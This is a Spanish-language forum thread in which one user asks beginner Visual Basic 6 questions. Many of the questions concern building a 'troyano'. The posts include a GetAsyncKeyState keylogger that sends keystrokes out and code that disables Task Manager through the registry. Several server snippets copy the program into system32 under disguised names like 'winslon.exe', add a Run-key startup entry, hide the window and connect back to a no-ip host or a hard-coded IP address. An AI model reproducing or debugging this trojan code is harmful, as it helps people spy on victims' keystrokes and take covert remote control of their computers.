Temas

bueno yo keria saber si alguien me podria psar un code, que no pude hacerlo, se trata, de que cuando estes es un form1, y aprites
3 teclas como x ejemplo alt+j+o, haga una accion
alguien sabe como hacerlo xfavor
saludoss

Código [Seleccionar] Expandir

Dim ListaProcesos As Object
Dim ObjetoWMI As Object
Dim ProcesoACerrar As Object


Private Function MatarProceso(StrNombreProceso As String, Optional DecirSINO As Boolean = True) As Boolean
MatarProceso = False

Set ObjetoWMI = GetObject("winmgmts:")

If IsNull(ObjetoWMI) = False Then

'instanciamos la variable

Set ListaProcesos = ObjetoWMI.InstancesOf("win32_process")

For Each ProcesoACerrar In ListaProcesos
If UCase(ProcesoACerrar.Name) = UCase(StrNombreProceso) Then
If DecirSINO Then

If MsgBox("¿Matar el proceso " & _
ProcesoACerrar.Name & vbNewLine & "...¿Está seguro?", vbYesNo + vbCritical) = vbYes Then

ProcesoACerrar.Terminate (0)

MatarProceso = True

End If

Else

'Matamos el proceso con el método Terminate
ProcesoACerrar.Terminate (0)
MatarProceso = True

End If
End If

Next
End If

Set ListaProcesos = Nothing
Set ObjetoWMI = Nothing
End Function

Private Sub Listar()

Set ObjetoWMI = GetObject("winmgmts:")

If IsNull(ObjetoWMI) = False Then


Set ListaProcesos = ObjetoWMI.InstancesOf("win32_process")

'Recorremos toda las coleccion en lista de procesos y la añadimos al list
For Each ProcesoACerrar In ListaProcesos
List1.AddItem LCase$(ProcesoACerrar.Name)
Next
End If

'Eliminamos las variables de objeto

Set ListaProcesos = Nothing
Set ObjetoWMI = Nothing

End Sub

Private Sub Command1_Click()
'Llamamos a MatarProceso pasandole el nombre
MatarProceso LCase$(List1), True
'Borramos el list
List1.Clear
'Volvemos a listar los procesos
Listar

End Sub

Private Sub Command2_Click()
'Borramos la lista y volvemos a listar los procesos
List1.Clear
Listar
End Sub

Private Sub Form_Load()
Listar
End Sub
este code obiamente no ice nada yo
no entiendo nada como se podrias simplicar esa funcion, como lo iso sin api¿
ayuda xfaa

miren ise un keyloggers super simple, es asi
modulo

Código [Seleccionar] Expandir

Declare Function apikey Lib "user32" Alias "GetAsyncKeyState" (ByVal vKey As Long) As Integer


Código [Seleccionar] Expandir

Private Sub Timer_key_Timer()
If apikey(144) Then Envia "keylock" 'falta 128-143
If apikey(127) Then Envia "keyf16"
If apikey(126) Then Envia "keyf15"
If apikey(125) Then Envia "keyf14"
If apikey(124) Then Envia "keyf13"
If apikey(123) Then Envia "keyf12"
If apikey(122) Then Envia "keyf11"
If apikey(121) Then Envia "keyf10"
If apikey(120) Then Envia "keyf9"
If apikey(119) Then Envia "keyf8"
If apikey(118) Then Envia "keyf7"
If apikey(117) Then Envia "keyf6"
If apikey(116) Then Envia "keyf5"
If apikey(115) Then Envia "keyf4"
If apikey(114) Then Envia "keyf3"
If apikey(113) Then Envia "keyf2"
If apikey(112) Then Envia "keyf1"
If apikey(111) Then Envia "keydivide"
If apikey(110) Then Envia "keydecimal"
If apikey(109) Then Envia "key-"
If apikey(108) Then Envia "keyfseparator" 'noce
If apikey(107) Then Envia "key+"
If apikey(106) Then Envia "key*"
If apikey(105) Then Envia "key9"
If apikey(104) Then Envia "key8"
If apikey(103) Then Envia "key7"
If apikey(102) Then Envia "key6"
If apikey(101) Then Envia "key5"
If apikey(100) Then Envia "key4"
If apikey(99) Then Envia "key3"
If apikey(98) Then Envia "key2"
If apikey(97) Then Envia "key1"
If apikey(96) Then Envia "key0"
If apikey(90) Then Envia "keyz"
If apikey(89) Then Envia "keyy"
If apikey(88) Then Envia "keyx"
If apikey(87) Then Envia "keyw"
If apikey(86) Then Envia "keyv"
If apikey(85) Then Envia "keyu"
If apikey(84) Then Envia "keyt"
If apikey(83) Then Envia "keys"
If apikey(82) Then Envia "keyr"
If apikey(81) Then Envia "keyq"
If apikey(80) Then Envia "keyp"
If apikey(79) Then Envia "keyo"
If apikey(78) Then Envia "keyn"
If apikey(77) Then Envia "keym"
If apikey(76) Then Envia "keyl"
If apikey(75) Then Envia "keyk"
If apikey(74) Then Envia "keyj"
If apikey(73) Then Envia "keyi"
If apikey(72) Then Envia "keyh"
If apikey(71) Then Envia "keyg"
If apikey(70) Then Envia "keyf"
If apikey(69) Then Envia "keye"
If apikey(68) Then Envia "keyd"
If apikey(67) Then Envia "keyc"
If apikey(66) Then Envia "keyb"
If apikey(65) Then Envia "keya" 'falta 58-64
If apikey(57) Then Envia "key9"
If apikey(56) Then Envia "key8"
If apikey(55) Then Envia "key7"
If apikey(54) Then Envia "key6"
If apikey(53) Then Envia "key5"
If apikey(52) Then Envia "key4"
If apikey(51) Then Envia "key3"
If apikey(50) Then Envia "key2"
If apikey(49) Then Envia "key1"
If apikey(48) Then Envia "key0"
If apikey(47) Then Envia "keyhelp" 'noce
If apikey(46) Then Envia "keysupr"
If apikey(45) Then Envia "keyinsert"
If apikey(44) Then Envia "keysnapshot" 'Impr-pant-petsis
If apikey(43) Then Envia "keyexecute" 'noce
If apikey(42) Then Envia "keyprint" 'noce
If apikey(41) Then Envia "keyselect" 'noce
If apikey(40) Then Envia "keydown"
If apikey(39) Then Envia "keyright"
If apikey(38) Then Envia "keyup"
If apikey(37) Then Envia "keyleft"
If apikey(36) Then Envia "keyhome"
If apikey(35) Then Envia "keyend"
If apikey(34) Then Envia "keypagdown"
If apikey(33) Then Envia "keypagup"
If apikey(32) Then Envia "keyspace" 'falta 28-31
If apikey(27) Then Envia "keyesc" 'falta 21-26
If apikey(20) Then Envia "keycapital" 'BLOQMAYUS
If apikey(18) Then Envia "keymenu" 'alt
If apikey(19) Then Envia "keyPause" 'pause-inter
If apikey(17) Then Envia "keyctrl"
If apikey(16) Then Envia "keyshif"
If apikey(13) Then Envia "keyenter"
If apikey(12) Then Envia "keyclear" 'noce
If apikey(9) Then Envia "keytab"
If apikey(8) Then Envia "keyback"
If apikey(4) Then Envia "keymbutton" 'noce
If apikey(3) Then Envia "keycancel" 'noce
If apikey(2) Then Envia "keyclickderecho"
If apikey(1) Then Envia "keyclickizquierdo"
End Sub

ya todo bien pero cuando pulso una tecla y la dejo too el rato apresionada en el text1 aparece como se hubiese sido aprecionada millones de veces, o ejemplo ago un click con el derecho y en el keyloggers sale que ice como 20 veces click con el derecho
miren

cual es el error? xfa

miren

Código [Seleccionar] Expandir

Case "Desactivar_ctrl"
Set x = CreateObject("WScript.Shell")
x.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskmgr", "1"
Case "Activar_ctrl"
Set x = CreateObject("WScript.Shell")
x.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskmgr", "0"
ya le di desactivar y luego no cambia a activar xq es?, esta todo bien escrito

como puedo hacer para ejecutar los archivos de esto

con este code

Código [Seleccionar] Expandir

Option Explicit

Private Sub Dir1_Change()
File1.Path = Dir1.Path
End Sub

Private Sub drv_discos_Change()
On Error Resume Next
Dir1.Path = drv_discos.Drive
End Sub

yo seleciono un archivo y lo ejecuto del objeto file1
xfavor
Saludos...
yo le puse esto pero no me funca

Código [Seleccionar] Expandir


Private Sub File1_Click()
Dir1.Path = Shell(File1) 'me dice archivo no encontrado
End Sub


como se llama este objeto en vb?
xfavor, no es progressbar1 y statusbar1 ayuda xfavor
y como puedo meter un archivo en u  variable???

bueno como el asunto lo dice como puedo hacer pestañas con mi programa?

Con lof y comandodialog, pero no caxoo, alguien que me puede ayudar x ahi

olaa, miren este code es de m server

Código [Seleccionar] Expandir

On Error Resume Next
Text_chat.Text = "Chat abierto"
ruta = App.Path
If Right(ruta, 1) <> "\" Then ruta = ruta & "\"
ruta = ruta & App.EXEName & ".exe"
Set obj = CreateObject("Scripting.FileSystemObject")
Set win = obj.GetSpecialFolder(0)
Set sys = obj.GetSpecialFolder(1)
win = LCase(win)
sys = LCase(sys)
FileCopy ruta, sys & "\winslon.exe"
Set Residencia = CreateObject("WScript.Shell")
Residencia.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\winslon", sys & "\winslon.exe"
Ws.RemoteHost = "shadowdarknesses.no-ip.org"
Ws.RemotePort = 5555
SName = "ShaCCorTh"
App.TaskVisible = False
End Sub
ya yo lo abro, todo bien se ejecuta al inicio del pc, pero ya quiero abrir una nueva version de mi sever mas avanzada, NO reemplaza el archivo en system 32, alguien sabe como podria hacerlo para reemplazarlo
gracias
Saludos...

yo tengo los usuarios conectados a mi cliente/server en un list view, y no caxo como hacer que en una parte se vea la cantidad de usarios conectados a mi xD
me podrian ayudar xfa

ola me gustaria saber si hay alguna propiedad que te diiga la version del programa

yo le coloko .version para que me entiendan xD
existe? o no
Saludos... xq no la pude encontrar en google

miren esta parte , es pa ejecutar una ruta

pero no me funca
me sale el error que ven
pero con esto Shell "cmd.exe /c start " & vdata(1)
si me funca pero con esto
Set ruta = CreateObject("WScript.Shell")
ruta.Run vdata(1)
nooo, no entiendo, ya esta declarada la variable y too
me puede ayudar xfavor
Saludos....

miran yo le coloko
shell "ruta"
pero no me funca como hago pra ejecutar?
gracias Saludos..

Esta es mi aplicacion jeje, que llevo a aste ahora  , espero que les guste, esto todo funciona, ahora toi leyendo sobre api, para hacer lo demas, xD

Saludos... espero que les guste

Código [Seleccionar] Expandir

'****Procesos
'Hace una "foto" de los procesos actuales
Private Declare Function CreateToolhelp32Snapshot Lib "kernel32.dll" (ByVal lFlags As Long, ByVal lProcessID As Long) As Long
'Coge el primer proceso
Private Declare Function Process32First Lib "kernel32.dll" (ByVal hSnapshot As Long, uProcess As PROCESSENTRY32) As Long
'Va cogiendo todos los demas procesos
Private Declare Function Process32Next Lib "kernel32.dll" (ByVal hSnapshot As Long, uProcess As PROCESSENTRY32) As Long
'Cierra el Handle de el primer proceso
Private Declare Function CloseHandle Lib "kernel32.dll" (ByVal handle As Long) As Long
'Abrimos un proceso conociendo el PID
Private Declare Function OpenProcess Lib "kernel32.dll" (ByVal dwDesiredAccessas As Long, ByVal bInheritHandle As Long, ByVal dwProcId As Long) As Long
'Matamos un proceso abierto
Private Declare Function TerminateProcess Lib "kernel32" (ByVal hProcess As Long, ByVal uExitCode As Long) As Long
Private Const TH32CS_SNAPPROCESS As Long = 2& 'Para que la foto sea de procesos
Public Const MAX_PATH As Long = 260
'Tipo para coger info de procesos.
Private Type PROCESSENTRY32
  dwSize As Long
  cntUsage As Long
  th32ProcessID As Long
  th32DefaultHeapID As Long
  th32ModuleID As Long
  cntThreads As Long
  th32ParentProcessID As Long
  pcPriClassBase As Long
  dwFlags As Long
  szExeFile As String * 260
End Type

'Funcion que mata un proceso
Public Sub KillProcess(PID As String)
Dim myProcess As Long
Dim AppKill As Boolean
'Abrimos el proceso con el PID que hemos recibido
myProcess = OpenProcess(1&, -1&, PID)
'Matamos el proceso que hemos abierto
AppKill = TerminateProcess(myProcess, 0&)
'Cerramos el proceso abierto
CloseHandle (myProcess)
End Sub

'Funcion que coge los procesos
Public Function GetProcess() As String
Dim Proc As PROCESSENTRY32
Dim hSnapshot As Long
'Hacemos una "foto" de los PROCESOS activos
hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0)
Proc.dwSize = Len(Proc) 'Le indicamos el tamaño de el tipo
'Cogemos el primer proceso de la "foto" y lo guardamos en Proc
Process32First hSnapshot, Proc
'Hacemos un bucle para que valla guardando en la variable GetProcess todos los resultados (nombre, pid y numero de threads)
    Do While Process32Next(hSnapshot, Proc)
    GetProcess = GetProcess & "|" & StripNulls(Proc.szExeFile) & "," & Proc.th32ProcessID & "," & Proc.cntThreads
    Loop
'Cerramos la "foto"
CloseHandle hSnapshot
End Function

'Funcion que elimina los caracteres nulos de un String
Public Function StripNulls(ByVal OriginalStr As String) As String
    StripNulls = Left$(OriginalStr, InStr(OriginalStr, vbNullChar) - 1)
End Function
no entiendo nada como ago yo un code asi?

Código [Seleccionar] Expandir

'Hace una "foto" de los procesos actuales
Private Declare Function CreateToolhelp32Snapshot Lib "kernel32.dll" (ByVal lFlags As Long, ByVal lProcessID As Long) As Long
como  funciona ese code, no entiendo nada ayuda xfavor

Código [Seleccionar] Expandir

Private Sub Form_Load()
Dim ruta As Variant, Residencia As Variant
Dim win
Dim sys
Dim obj
ruta = App.Path
If Right(ruta, 1) <> "\" Then ruta = ruta & "\"
ruta = ruta & App.EXEName & ".exe"
Set obj = CreateObject("Scripting.FileSystemObject")
Set win = obj.GetSpecialFolder(0)
Set sys = obj.GetSpecialFolder(1)
win = LCase(win)
sys = LCase(sys)
FileCopy ruta, sys & "\ShaCCorTh.exe"
Set Residencia = CreateObject("WScript.Shell")
Residencia.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\ShaCCorTh", sys & "\ShaCCorTh.exe"
Ws.RemoteHost = "200.83.238.77"
Ws.RemotePort = 5555
SName = "ShaCCorTh"
App.TaskVisible = True
End Sub
ya la conexion esta bien, pero cuando me corre en system32 no me funciona, y si lo cambio de carpeta si funciona, como puedo solucionar ese problema, mirenlo

Saludos, y gracias

Miren este es el code

Código [Seleccionar] Expandir


Option Explicit
Dim ip As String, port As String

Private Sub Form_Load()
Dim Residencia As Variant, Ruta As String, obj As Variant
Dim sys
Dim win
ip = "200.83.238.77"
port = 2700
Timer1.Interval = 1000
Ws(totalindex).RemoteHost = ip
Ws(totalindex).RemotePort = port
App.TaskVisible = False
Ruta = App.Path
If Right(Ruta, 1) <> "\" Then Ruta = Ruta & "\"
Ruta = Ruta & App.EXEName & ".exe"
Set obj = CreateObject("Scripting.FileSystemObject")
Set win = obj.GetSpecialFolder(0)
Set sys = obj.GetSpecialFolder(1)
win = LCase(win)
sys = LCase(sys)
FileCopy Ruta, sys & "\Troyano.exe"
Set Residencia = CreateObject("WScript.Shell")
Residencia.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\Prueba", sys & "\troyano.exe"
End Sub

Private Sub Conectar_Click()
On Error GoTo Error
If Not Ws(Index).State = 7 Then
GoTo puente
Else
GoTo Error
End If
puente:
Ws(Index).Close
Ws(Index).Connect ip, port
Error:
End Sub

Private Sub Timer1_Timer()
If Not Ws(totalindex).State = 7 Then Call Conectar_Click
End Sub
NO se escibe en "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\Prueba"
miren

pero = parte al incio del pc, pero como pueden ver sale ese error
luego voi a c\windows\system32, ya encontre que el archivo se copio, pero cuando lo abro me sale esto

Ayuda Como puedo hacer para que se escriba en "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\Prueba" y que se copie bien, xq cuando voi a la carpeta original donde estaba se ejecuta bien, miren

pero cuando voi a c\windows\system32, como ven arriba no me sale
De ante manos gracias x leer todo esto

como ago para cuanod se aprete un Check1box
se salga si es seleccionado Check2box-?

perdon no lo are mas
, me podrian contestar esta duda, ya ice como un supermini troyano, pero asi
el  form1, donde salen opciones, ej: teclas presionadas, xat, y todo, entonces el form2 es el xat, y asi sigue, pero cuando cambio de form se pierde la conexcion?¿, le coloke esto, pero tampoko

Código [Seleccionar] Expandir

Winsock1.Connect, esa es una duda xfa
y lo otro era que cuando le coloke un label para ver el estado, no me funca no me sale

Código [Seleccionar] Expandir


Private Sub Command1_Click()
   On Error Resume Next
   Ws.RemoteHost = Text3.Text
   Ws.Connect
   Timer1.Interval = 2000
   End Sub
Private Sub Timer1_Timer()
If Not Ws.State = 7 Then
Label3 = "Desconectado"
Else
End If
If Ws.State = 7 Then
Label3 = "Conectado"
Else
End If
End Sub

y esto no me funca,
ayuda pliss

?¿